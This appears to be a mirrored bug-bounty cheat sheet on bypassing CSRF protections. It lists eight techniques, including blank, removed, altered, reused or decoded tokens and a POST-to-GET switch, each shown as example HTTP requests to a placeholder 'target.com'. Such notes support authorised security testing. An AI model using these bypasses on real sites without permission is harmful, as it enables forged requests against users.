mirror of
https://github.com/daffainfo/AllAboutBugBounty.git
synced 2024-12-20 03:16:11 +00:00
121 lines
2.1 KiB
Markdown
121 lines
2.1 KiB
Markdown
# Bypass CSRF
|
|
|
|
1. Change single character
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
|
|
```
|
|
|
|
2. Sending empty value of token
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=
|
|
```
|
|
|
|
3. Replace the token with same length
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaabaa
|
|
```
|
|
4. Changing POST / GET method
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
```
|
|
|
|
5. Remove the token from request
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
|
|
```
|
|
Try this to bypass
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456
|
|
```
|
|
|
|
6. Use another user's valid token
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
|
|
```
|
|
|
|
7. Try to decrypt hash
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=MTIzNDU2
|
|
```
|
|
MTIzNDU2 => 123456 with base64
|
|
|
|
8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=vi802jg9f8akd9j123
|
|
```
|
|
When we register again, the request like this
|
|
```
|
|
POST /register HTTP/1.1
|
|
Host: target.com
|
|
...
|
|
|
|
username=dapos&password=123456&token=vi802jg9f8akd9j124
|
|
```
|
|
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part
|